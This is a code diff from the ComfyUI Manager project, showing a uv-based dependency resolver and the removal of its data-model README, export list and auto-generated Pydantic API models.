||||
stderr="TimeoutExpired",
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
conflicts = self._parse_conflicts(result.stderr)
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=conflicts,
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
if not os.path.exists(lockfile_path):
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["lockfile not created despite success return code"],
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
return LockfileResult(success=True, lockfile_path=lockfile_path)
|
||||
|
||||
except UvNotAvailableError:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
except Exception:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 3: install
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (``uv pip install -r``).
|
||||
|
||||
Do **not** use ``uv pip sync`` — it deletes packages not in the
|
||||
lockfile, risking removal of torch, ComfyUI deps, etc.
|
||||
"""
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "install",
|
||||
"--requirement", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
|
||||
return InstallResult(
|
||||
success=False,
|
||||
stderr="TimeoutExpired: install exceeded 600s",
|
||||
)
|
||||
|
||||
installed, skipped_pkgs = self._parse_install_output(result)
|
||||
|
||||
return InstallResult(
|
||||
success=result.returncode == 0,
|
||||
installed=installed,
|
||||
skipped=skipped_pkgs,
|
||||
stderr=result.stderr if result.returncode != 0 else "",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# uv command resolution
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_uv_cmd(self) -> list[str]:
|
||||
"""Determine the ``uv`` command to use.
|
||||
|
||||
``python_embeded`` spelling is intentional — matches the actual path
|
||||
name in the ComfyUI Windows distribution.
|
||||
"""
|
||||
embedded = 'python_embeded' in sys.executable
|
||||
|
||||
# 1. Try uv as a Python module
|
||||
try:
|
||||
test_cmd = (
|
||||
[sys.executable]
|
||||
+ (['-s'] if embedded else [])
|
||||
+ ['-m', 'uv', '--version']
|
||||
)
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2. Standalone uv executable
|
||||
if shutil.which('uv'):
|
||||
return ['uv']
|
||||
|
||||
raise UvNotAvailableError("uv is not available")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_disabled_path(path: str) -> bool:
|
||||
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
|
||||
# New style: custom_nodes/.disabled/{name}
|
||||
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
|
||||
return True
|
||||
# Old style: {name}.disabled suffix
|
||||
if path.rstrip('/').endswith('.disabled'):
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _read_requirements(filepath: str) -> list[str]:
|
||||
"""Read requirements file using ``robust_readlines`` pattern."""
|
||||
return manager_util.robust_readlines(filepath)
|
||||
|
||||
@staticmethod
|
||||
def _split_index_url(line: str) -> tuple[str, list[str]]:
|
||||
"""Split index-url options from a requirement line.
|
||||
|
||||
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
|
||||
options. Returns ``(package_spec, [url, ...])``.
|
||||
|
||||
Examples::
|
||||
|
||||
"torch --extra-index-url U1 --index-url U2"
|
||||
→ ("torch", ["U1", "U2"])
|
||||
|
||||
"--index-url URL"
|
||||
→ ("", ["URL"])
|
||||
"""
|
||||
urls: list[str] = []
|
||||
remainder_tokens: list[str] = []
|
||||
|
||||
# Regex: match --extra-index-url or --index-url followed by its value
|
||||
option_re = re.compile(
|
||||
r'(--(?:extra-)?index-url)\s+(\S+)'
|
||||
)
|
||||
|
||||
# Pattern for bare option flags without a URL value
|
||||
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
|
||||
|
||||
last_end = 0
|
||||
for m in option_re.finditer(line):
|
||||
# Text before this option is part of the package spec
|
||||
before = line[last_end:m.start()].strip()
|
||||
if before:
|
||||
remainder_tokens.append(before)
|
||||
urls.append(m.group(2))
|
||||
last_end = m.end()
|
||||
|
||||
# Trailing text after last option
|
||||
trailing = line[last_end:].strip()
|
||||
if trailing:
|
||||
remainder_tokens.append(trailing)
|
||||
|
||||
# Strip any bare option flags that leaked into remainder tokens
|
||||
# (e.g. "--index-url" with no URL value after it)
|
||||
remainder_tokens = [
|
||||
t for t in remainder_tokens if not bare_option_re.match(t)
|
||||
]
|
||||
|
||||
pkg_spec = " ".join(remainder_tokens).strip()
|
||||
return pkg_spec, urls
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Apply ``pip_overrides`` remapping."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
|
||||
return remapped
|
||||
return pkg
|
||||
|
||||
@staticmethod
|
||||
def _extract_package_name(spec: str) -> str:
|
||||
"""Extract normalised package name from a requirement spec."""
|
||||
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
|
||||
return name.lower().replace('-', '_')
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
|
||||
installed: dict) -> bool:
|
||||
"""Reproduce the downgrade logic from ``is_blacklisted()``.
|
||||
|
||||
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
|
||||
|
||||
Args:
|
||||
installed: Pre-fetched snapshot from
|
||||
``manager_util.get_installed_packages()``.
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed:
|
||||
return True
|
||||
elif match.group(2) in ('<=', '==', '<', '~='):
|
||||
if pkg_name in installed:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
|
||||
)
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — parsing & output
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _parse_conflicts(stderr: str) -> list[str]:
|
||||
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
|
||||
conflicts: list[str] = []
|
||||
for line in stderr.splitlines():
|
||||
line = line.strip()
|
||||
if line and ('conflict' in line.lower() or 'error' in line.lower()):
|
||||
conflicts.append(line)
|
||||
return conflicts or [stderr.strip()] if stderr.strip() else []
|
||||
|
||||
@staticmethod
|
||||
def _parse_install_output(
|
||||
result: subprocess.CompletedProcess[str],
|
||||
) -> tuple[list[str], list[str]]:
|
||||
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
|
||||
installed: list[str] = []
|
||||
skipped_pkgs: list[str] = []
|
||||
for line in result.stdout.splitlines():
|
||||
line_lower = line.strip().lower()
|
||||
if 'installed' in line_lower or 'updated' in line_lower:
|
||||
installed.append(line.strip())
|
||||
elif 'already' in line_lower or 'satisfied' in line_lower:
|
||||
skipped_pkgs.append(line.strip())
|
||||
return installed, skipped_pkgs
|
||||
|
||||
@staticmethod
|
||||
def _redact_url(url: str) -> str:
|
||||
"""Mask ``user:pass@`` credentials in URLs."""
|
||||
return _CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Temp-file housekeeping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@classmethod
|
||||
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
|
||||
"""Remove stale temp directories from previous abnormal terminations."""
|
||||
tmp_root = tempfile.gettempdir()
|
||||
now = time.time()
|
||||
for entry in os.scandir(tmp_root):
|
||||
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
|
||||
try:
|
||||
age = now - entry.stat().st_mtime
|
||||
if age > max_age_seconds:
|
||||
shutil.rmtree(entry.path, ignore_errors=True)
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def attribute_conflicts(
|
||||
sources: dict[str, list[tuple[str, str]]],
|
||||
conflicts: list[str],
|
||||
) -> dict[str, list[tuple[str, str]]]:
|
||||
"""Cross-reference conflict packages with their requesting node packs.
|
||||
|
||||
Uses word-boundary regex to prevent false-positive prefix matches
|
||||
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
|
||||
"""
|
||||
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
|
||||
return {
|
||||
pkg: reqs
|
||||
for pkg, reqs in sources.items()
|
||||
if re.search(
|
||||
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
|
||||
conflict_text,
|
||||
)
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
# Data Models
|
||||
|
||||
This directory contains Pydantic models for ComfyUI Manager, providing type safety, validation, and serialization for the API and internal data structures.
|
||||
|
||||
## Overview
|
||||
|
||||
- `generated_models.py` - All models auto-generated from OpenAPI spec
|
||||
- `__init__.py` - Package exports for all models
|
||||
|
||||
**Note**: All models are now auto-generated from the OpenAPI specification. Manual model files (`task_queue.py`, `state_management.py`) have been deprecated in favor of a single source of truth.
|
||||
|
||||
## Generating Types from OpenAPI
|
||||
|
||||
The state management models are automatically generated from the OpenAPI specification using `datamodel-codegen`. This ensures type safety and consistency between the API specification and the Python code.
|
||||
|
||||
### Prerequisites
|
||||
|
||||
Install the code generator:
|
||||
```bash
|
||||
pipx install datamodel-code-generator
|
||||
```
|
||||
|
||||
### Generation Command
|
||||
|
||||
To regenerate all models after updating the OpenAPI spec:
|
||||
|
||||
```bash
|
||||
datamodel-codegen \
|
||||
--use-subclass-enum \
|
||||
--field-constraints \
|
||||
--strict-types bytes \
|
||||
--use-double-quotes \
|
||||
--input openapi.yaml \
|
||||
--output comfyui_manager/data_models/generated_models.py \
|
||||
--output-model-type pydantic_v2.BaseModel
|
||||
```
|
||||
|
||||
### When to Regenerate
|
||||
|
||||
You should regenerate the models when:
|
||||
|
||||
1. **Adding new API endpoints** that return new data structures
|
||||
2. **Modifying existing schemas** in the OpenAPI specification
|
||||
3. **Adding new state management features** that require new models
|
||||
|
||||
### Important Notes
|
||||
|
||||
- **Single source of truth**: All models are now generated from `openapi.yaml`
|
||||
- **No manual models**: All previously manual models have been migrated to the OpenAPI spec
|
||||
- **OpenAPI requirements**: New schemas must be referenced in API paths to be generated by datamodel-codegen
|
||||
- **Validation**: Always validate the OpenAPI spec before generation:
|
||||
```bash
|
||||
python3 -c "import yaml; yaml.safe_load(open('openapi.yaml'))"
|
||||
```
|
||||
|
||||
### Example: Adding New State Models
|
||||
|
||||
1. Add your schema to `openapi.yaml` under `components/schemas/`
|
||||
2. Reference the schema in an API endpoint response
|
||||
3. Run the generation command above
|
||||
4. Update `__init__.py` to export the new models
|
||||
5. Import and use the models in your code
|
||||
|
||||
### Troubleshooting
|
||||
|
||||
- **Models not generated**: Ensure schemas are under `components/schemas/` (not `parameters/`)
|
||||
- **Missing models**: Verify schemas are referenced in at least one API path
|
||||
- **Import errors**: Check that new models are added to `__init__.py` exports
|
||||
@@ -1,137 +0,0 @@
|
||||
"""
|
||||
Data models for ComfyUI Manager.
|
||||
|
||||
This package contains Pydantic models used throughout the ComfyUI Manager
|
||||
for data validation, serialization, and type safety.
|
||||
|
||||
All models are auto-generated from the OpenAPI specification to ensure
|
||||
consistency between the API and implementation.
|
||||
"""
|
||||
|
||||
from .generated_models import (
|
||||
# Core Task Queue Models
|
||||
QueueTaskItem,
|
||||
TaskHistoryItem,
|
||||
TaskStateMessage,
|
||||
TaskExecutionStatus,
|
||||
|
||||
# WebSocket Message Models
|
||||
MessageTaskDone,
|
||||
MessageTaskStarted,
|
||||
MessageTaskFailed,
|
||||
MessageUpdate,
|
||||
ManagerMessageName,
|
||||
|
||||
# State Management Models
|
||||
BatchExecutionRecord,
|
||||
ComfyUISystemState,
|
||||
BatchOperation,
|
||||
InstalledNodeInfo,
|
||||
InstalledModelInfo,
|
||||
ComfyUIVersionInfo,
|
||||
|
||||
# Import Fail Info Models
|
||||
ImportFailInfoBulkRequest,
|
||||
ImportFailInfoBulkResponse,
|
||||
ImportFailInfoItem,
|
||||
ImportFailInfoItem1,
|
||||
|
||||
# Other models
|
||||
OperationType,
|
||||
OperationResult,
|
||||
ManagerPackInfo,
|
||||
ManagerPackInstalled,
|
||||
SelectedVersion,
|
||||
ManagerChannel,
|
||||
ManagerDatabaseSource,
|
||||
ManagerPackState,
|
||||
ManagerPackInstallType,
|
||||
ManagerPack,
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
UpdateAllQueryParams,
|
||||
UpdateComfyUIQueryParams,
|
||||
ComfyUISwitchVersionQueryParams,
|
||||
QueueStatus,
|
||||
ManagerMappings,
|
||||
ModelMetadata,
|
||||
NodePackageMetadata,
|
||||
SnapshotItem,
|
||||
Error,
|
||||
InstalledPacksResponse,
|
||||
HistoryResponse,
|
||||
HistoryListResponse,
|
||||
InstallType,
|
||||
SecurityLevel,
|
||||
RiskLevel,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
# Core Task Queue Models
|
||||
"QueueTaskItem",
|
||||
"TaskHistoryItem",
|
||||
"TaskStateMessage",
|
||||
"TaskExecutionStatus",
|
||||
|
||||
# WebSocket Message Models
|
||||
"MessageTaskDone",
|
||||
"MessageTaskStarted",
|
||||
"MessageTaskFailed",
|
||||
"MessageUpdate",
|
||||
"ManagerMessageName",
|
||||
|
||||
# State Management Models
|
||||
"BatchExecutionRecord",
|
||||
"ComfyUISystemState",
|
||||
"BatchOperation",
|
||||
"InstalledNodeInfo",
|
||||
"InstalledModelInfo",
|
||||
"ComfyUIVersionInfo",
|
||||
|
||||
# Import Fail Info Models
|
||||
"ImportFailInfoBulkRequest",
|
||||
"ImportFailInfoBulkResponse",
|
||||
"ImportFailInfoItem",
|
||||
"ImportFailInfoItem1",
|
||||
|
||||
# Other models
|
||||
"OperationType",
|
||||
"OperationResult",
|
||||
"ManagerPackInfo",
|
||||
"ManagerPackInstalled",
|
||||
"SelectedVersion",
|
||||
"ManagerChannel",
|
||||
"ManagerDatabaseSource",
|
||||
"ManagerPackState",
|
||||
"ManagerPackInstallType",
|
||||
"ManagerPack",
|
||||
"InstallPackParams",
|
||||
"UpdatePackParams",
|
||||
"UpdateAllPacksParams",
|
||||
"UpdateComfyUIParams",
|
||||
"FixPackParams",
|
||||
"UninstallPackParams",
|
||||
"DisablePackParams",
|
||||
"EnablePackParams",
|
||||
"UpdateAllQueryParams",
|
||||
"UpdateComfyUIQueryParams",
|
||||
"ComfyUISwitchVersionQueryParams",
|
||||
"QueueStatus",
|
||||
"ManagerMappings",
|
||||
"ModelMetadata",
|
||||
"NodePackageMetadata",
|
||||
"SnapshotItem",
|
||||
"Error",
|
||||
"InstalledPacksResponse",
|
||||
"HistoryResponse",
|
||||
"HistoryListResponse",
|
||||
"InstallType",
|
||||
"SecurityLevel",
|
||||
"RiskLevel",
|
||||
]
|
||||
@@ -1,561 +0,0 @@
|
||||
# generated by datamodel-codegen:
|
||||
# filename: openapi.yaml
|
||||
# timestamp: 2025-07-31T04:52:26+00:00
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from enum import Enum
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from pydantic import BaseModel, Field, RootModel
|
||||
|
||||
|
||||
class OperationType(str, Enum):
|
||||
install = "install"
|
||||
uninstall = "uninstall"
|
||||
update = "update"
|
||||
update_comfyui = "update-comfyui"
|
||||
fix = "fix"
|
||||
disable = "disable"
|
||||
enable = "enable"
|
||||
install_model = "install-model"
|
||||
|
||||
|
||||
class OperationResult(str, Enum):
|
||||
success = "success"
|
||||
failed = "failed"
|
||||
skipped = "skipped"
|
||||
error = "error"
|
||||
skip = "skip"
|
||||
|
||||
|
||||
class TaskExecutionStatus(BaseModel):
|
||||
status_str: OperationResult
|
||||
completed: bool = Field(..., description="Whether the task completed")
|
||||
messages: List[str] = Field(..., description="Additional status messages")
|
||||
|
||||
|
||||
class ManagerMessageName(str, Enum):
|
||||
cm_task_completed = "cm-task-completed"
|
||||
cm_task_started = "cm-task-started"
|
||||
cm_queue_status = "cm-queue-status"
|
||||
|
||||
|
||||
class ManagerPackInfo(BaseModel):
|
||||
id: str = Field(
|
||||
...,
|
||||
description="Either github-author/github-repo or name of pack from the registry",
|
||||
)
|
||||
version: str = Field(..., description="Semantic version or Git commit hash")
|
||||
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
|
||||
|
||||
|
||||
class ManagerPackInstalled(BaseModel):
|
||||
ver: str = Field(
|
||||
...,
|
||||
description="The version of the pack that is installed (Git commit hash or semantic version)",
|
||||
)
|
||||
cnr_id: Optional[str] = Field(
|
||||
None, description="The name of the pack if installed from the registry"
|
||||
)
|
||||
aux_id: Optional[str] = Field(
|
||||
None,
|
||||
description="The name of the pack if installed from github (author/repo-name format)",
|
||||
)
|
||||
enabled: bool = Field(..., description="Whether the pack is enabled")
|
||||
|
||||
|
||||
class SelectedVersion(str, Enum):
|
||||
latest = "latest"
|
||||
nightly = "nightly"
|
||||
|
||||
|
||||
class ManagerChannel(str, Enum):
|
||||
default = "default"
|
||||
recent = "recent"
|
||||
legacy = "legacy"
|
||||
forked = "forked"
|
||||
dev = "dev"
|
||||
tutorial = "tutorial"
|
||||
|
||||
|
||||
class ManagerDatabaseSource(str, Enum):
|
||||
remote = "remote"
|
||||
local = "local"
|
||||
cache = "cache"
|
||||
|
||||
|
||||
class ManagerPackState(str, Enum):
|
||||
installed = "installed"
|
||||
disabled = "disabled"
|
||||
not_installed = "not_installed"
|
||||
import_failed = "import_failed"
|
||||
needs_update = "needs_update"
|
||||
|
||||
|
||||
class ManagerPackInstallType(str, Enum):
|
||||
git_clone = "git-clone"
|
||||
copy = "copy"
|
||||
cnr = "cnr"
|
||||
|
||||
|
||||
class SecurityLevel(str, Enum):
|
||||
strong = "strong"
|
||||
normal = "normal"
|
||||
normal_ = "normal-"
|
||||
weak = "weak"
|
||||
|
||||
|
||||
class RiskLevel(str, Enum):
|
||||
block = "block"
|
||||
high_ = "high+"
|
||||
high = "high"
|
||||
middle_ = "middle+"
|
||||
middle = "middle"
|
||||
|
||||
|
||||
class UpdateState(Enum):
|
||||
false = "false"
|
||||
true = "true"
|
||||
|
||||
|
||||
class ManagerPack(ManagerPackInfo):
|
||||
author: Optional[str] = Field(
|
||||
None, description="Pack author name or 'Unclaimed' if added via GitHub crawl"
|
||||
)
|
||||
files: Optional[List[str]] = Field(
|
||||
None,
|
||||
description="Repository URLs for installation (typically contains one GitHub URL)",
|
||||
)
|
||||
reference: Optional[str] = Field(
|
||||
None, description="The type of installation reference"
|
||||
)
|
||||
title: Optional[str] = Field(None, description="The display name of the pack")
|
||||
cnr_latest: Optional[SelectedVersion] = None
|
||||
repository: Optional[str] = Field(None, description="GitHub repository URL")
|
||||
state: Optional[ManagerPackState] = None
|
||||
update_state: Optional[UpdateState] = Field(
|
||||
None, alias="update-state", description="Update availability status"
|
||||
)
|
||||
stars: Optional[int] = Field(None, description="GitHub stars count")
|
||||
last_update: Optional[datetime] = Field(None, description="Last update timestamp")
|
||||
health: Optional[str] = Field(None, description="Health status of the pack")
|
||||
description: Optional[str] = Field(None, description="Pack description")
|
||||
trust: Optional[bool] = Field(None, description="Whether the pack is trusted")
|
||||
install_type: Optional[ManagerPackInstallType] = None
|
||||
|
||||
|
||||
class InstallPackParams(ManagerPackInfo):
|
||||
selected_version: Union[str, SelectedVersion] = Field(
|
||||
..., description="Semantic version, Git commit hash, latest, or nightly"
|
||||
)
|
||||
repository: Optional[str] = Field(
|
||||
None,
|
||||
description="GitHub repository URL (required if selected_version is nightly)",
|
||||
)
|
||||
pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
|
||||
mode: ManagerDatabaseSource
|
||||
channel: ManagerChannel
|
||||
skip_post_install: Optional[bool] = Field(
|
||||
None, description="Whether to skip post-installation steps"
|
||||
)
|
||||
|
||||
|
||||
class UpdateAllPacksParams(BaseModel):
|
||||
mode: Optional[ManagerDatabaseSource] = None
|
||||
ui_id: Optional[str] = Field(None, description="Task ID - generated internally")
|
||||
|
||||
|
||||
class UpdatePackParams(BaseModel):
|
||||
node_name: str = Field(..., description="Name of the node package to update")
|
||||
node_ver: Optional[str] = Field(
|
||||
None, description="Current version of the node package"
|
||||
)
|
||||
|
||||
|
||||
class UpdateComfyUIParams(BaseModel):
|
||||
is_stable: Optional[bool] = Field(
|
||||
True,
|
||||
description="Whether to update to stable version (true) or nightly (false)",
|
||||
)
|
||||
target_version: Optional[str] = Field(
|
||||
None,
|
||||
description="Specific version to switch to (for version switching operations)",
|
||||
)
|
||||
|
||||
|
||||
class FixPackParams(BaseModel):
|
||||
node_name: str = Field(..., description="Name of the node package to fix")
|
||||
node_ver: str = Field(..., description="Version of the node package")
|
||||
|
||||
|
||||
class UninstallPackParams(BaseModel):
|
||||
node_name: str = Field(..., description="Name of the node package to uninstall")
|
||||
is_unknown: Optional[bool] = Field(
|
||||
False, description="Whether this is an unknown/unregistered package"
|
||||
)
|
||||
|
||||
|
||||
class DisablePackParams(BaseModel):
|
||||
node_name: str = Field(..., description="Name of the node package to disable")
|
||||
is_unknown: Optional[bool] = Field(
|
||||
False, description="Whether this is an unknown/unregistered package"
|
||||
)
|
||||
|
||||
|
||||
class EnablePackParams(BaseModel):
|
||||
cnr_id: str = Field(
|
||||
..., description="ComfyUI Node Registry ID of the package to enable"
|
||||
)
|
||||
|
||||
|
||||
class UpdateAllQueryParams(BaseModel):
|
||||
client_id: str = Field(
|
||||
..., description="Client identifier that initiated the request"
|
||||
)
|
||||
ui_id: str = Field(..., description="Base UI identifier for task tracking")
|
||||
mode: Optional[ManagerDatabaseSource] = None
|
||||
|
||||
|
||||
class UpdateComfyUIQueryParams(BaseModel):
|
||||
client_id: str = Field(
|
||||
..., description="Client identifier that initiated the request"
|
||||
)
|
||||
ui_id: str = Field(..., description="UI identifier for task tracking")
|
||||
stable: Optional[bool] = Field(
|
||||
True,
|
||||
description="Whether to update to stable version (true) or nightly (false)",
|
||||
)
|
||||
|
||||
|
||||
class ComfyUISwitchVersionQueryParams(BaseModel):
|
||||
ver: str = Field(..., description="Version to switch to")
|
||||
client_id: str = Field(
|
||||
..., description="Client identifier that initiated the request"
|
||||
)
|
||||
ui_id: str = Field(..., description="UI identifier for task tracking")
|
||||
|
||||
|
||||
class QueueStatus(BaseModel):
|
||||
total_count: int = Field(
|
||||
..., description="Total number of tasks (pending + running)"
|
||||
)
|
||||
done_count: int = Field(..., description="Number of completed tasks")
|
||||
in_progress_count: int = Field(..., description="Number of tasks currently running")
|
||||
pending_count: Optional[int] = Field(
|
||||
None, description="Number of tasks waiting to be executed"
|
||||
)
|
||||
is_processing: bool = Field(..., description="Whether the task worker is active")
|
||||
client_id: Optional[str] = Field(
|
||||
None, description="Client ID (when filtered by client)"
|
||||
)
|
||||
|
||||
|
||||
class ManagerMappings1(BaseModel):
|
||||
title_aux: Optional[str] = Field(None, description="The display name of the pack")
|
||||
|
||||
|
||||
class ManagerMappings(
|
||||
RootModel[Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]]]
|
||||
):
|
||||
root: Optional[Dict[str, List[Union[List[str], ManagerMappings1]]]] = Field(
|
||||
None, description="Tuple of [node_names, metadata]"
|
||||
)
|
||||
|
||||
|
||||
class ModelMetadata(BaseModel):
|
||||
name: str = Field(..., description="Name of the model")
|
||||
type: str = Field(..., description="Type of model")
|
||||
base: Optional[str] = Field(None, description="Base model type")
|
||||
save_path: Optional[str] = Field(None, description="Path for saving the model")
|
||||
url: str = Field(..., description="Download URL")
|
||||
filename: str = Field(..., description="Target filename")
|
||||
ui_id: Optional[str] = Field(None, description="ID for UI reference")
|
||||
|
||||
|
||||
class InstallType(str, Enum):
|
||||
git = "git"
|
||||
copy = "copy"
|
||||
pip = "pip"
|
||||
|
||||
|
||||
class NodePackageMetadata(BaseModel):
|
||||
title: Optional[str] = Field(None, description="Display name of the node package")
|
||||
name: Optional[str] = Field(None, description="Repository/package name")
|
||||
files: Optional[List[str]] = Field(None, description="Source URLs for the package")
|
||||
description: Optional[str] = Field(
|
||||
None, description="Description of the node package functionality"
|
||||
)
|
||||
install_type: Optional[InstallType] = Field(None, description="Installation method")
|
||||
version: Optional[str] = Field(None, description="Version identifier")
|
||||
id: Optional[str] = Field(
|
||||
None, description="Unique identifier for the node package"
|
||||
)
|
||||
ui_id: Optional[str] = Field(None, description="ID for UI reference")
|
||||
channel: Optional[str] = Field(None, description="Source channel")
|
||||
mode: Optional[str] = Field(None, description="Source mode")
|
||||
|
||||
|
||||
class SnapshotItem(RootModel[str]):
|
||||
root: str = Field(..., description="Name of the snapshot")
|
||||
|
||||
|
||||
class Error(BaseModel):
|
||||
error: str = Field(..., description="Error message")
|
||||
|
||||
|
||||
class InstalledPacksResponse(RootModel[Optional[Dict[str, ManagerPackInstalled]]]):
|
||||
root: Optional[Dict[str, ManagerPackInstalled]] = None
|
||||
|
||||
|
||||
class HistoryListResponse(BaseModel):
|
||||
ids: Optional[List[str]] = Field(
|
||||
None, description="List of available batch history IDs"
|
||||
)
|
||||
|
||||
|
||||
class InstalledNodeInfo(BaseModel):
|
||||
name: str = Field(..., description="Node package name")
|
||||
version: str = Field(..., description="Installed version")
|
||||
repository_url: Optional[str] = Field(None, description="Git repository URL")
|
||||
install_method: str = Field(
|
||||
..., description="Installation method (cnr, git, pip, etc.)"
|
||||
)
|
||||
enabled: Optional[bool] = Field(
|
||||
True, description="Whether the node is currently enabled"
|
||||
)
|
||||
install_date: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp of installation"
|
||||
)
|
||||
|
||||
|
||||
class InstalledModelInfo(BaseModel):
|
||||
name: str = Field(..., description="Model filename")
|
||||
path: str = Field(..., description="Full path to model file")
|
||||
type: str = Field(..., description="Model type (checkpoint, lora, vae, etc.)")
|
||||
size_bytes: Optional[int] = Field(None, description="File size in bytes", ge=0)
|
||||
hash: Optional[str] = Field(None, description="Model file hash for verification")
|
||||
install_date: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when added"
|
||||
)
|
||||
|
||||
|
||||
class ComfyUIVersionInfo(BaseModel):
|
||||
version: str = Field(..., description="ComfyUI version string")
|
||||
commit_hash: Optional[str] = Field(None, description="Git commit hash")
|
||||
branch: Optional[str] = Field(None, description="Git branch name")
|
||||
is_stable: Optional[bool] = Field(
|
||||
False, description="Whether this is a stable release"
|
||||
)
|
||||
last_updated: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp of last update"
|
||||
)
|
||||
|
||||
|
||||
class BatchOperation(BaseModel):
|
||||
operation_id: str = Field(..., description="Unique operation identifier")
|
||||
operation_type: OperationType
|
||||
target: str = Field(
|
||||
..., description="Target of the operation (node name, model name, etc.)"
|
||||
)
|
||||
target_version: Optional[str] = Field(
|
||||
None, description="Target version for the operation"
|
||||
)
|
||||
result: OperationResult
|
||||
error_message: Optional[str] = Field(
|
||||
None, description="Error message if operation failed"
|
||||
)
|
||||
start_time: datetime = Field(
|
||||
..., description="ISO timestamp when operation started"
|
||||
)
|
||||
end_time: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when operation completed"
|
||||
)
|
||||
client_id: Optional[str] = Field(
|
||||
None, description="Client that initiated the operation"
|
||||
)
|
||||
|
||||
|
||||
class ComfyUISystemState(BaseModel):
|
||||
snapshot_time: datetime = Field(
|
||||
..., description="ISO timestamp when snapshot was taken"
|
||||
)
|
||||
comfyui_version: ComfyUIVersionInfo
|
||||
frontend_version: Optional[str] = Field(
|
||||
None, description="ComfyUI frontend version if available"
|
||||
)
|
||||
python_version: str = Field(..., description="Python interpreter version")
|
||||
platform_info: str = Field(
|
||||
..., description="Operating system and platform information"
|
||||
)
|
||||
installed_nodes: Optional[Dict[str, InstalledNodeInfo]] = Field(
|
||||
None, description="Map of installed node packages by name"
|
||||
)
|
||||
installed_models: Optional[Dict[str, InstalledModelInfo]] = Field(
|
||||
None, description="Map of installed models by name"
|
||||
)
|
||||
manager_config: Optional[Dict[str, Any]] = Field(
|
||||
None, description="ComfyUI Manager configuration settings"
|
||||
)
|
||||
comfyui_root_path: Optional[str] = Field(
|
||||
None, description="ComfyUI root installation directory"
|
||||
)
|
||||
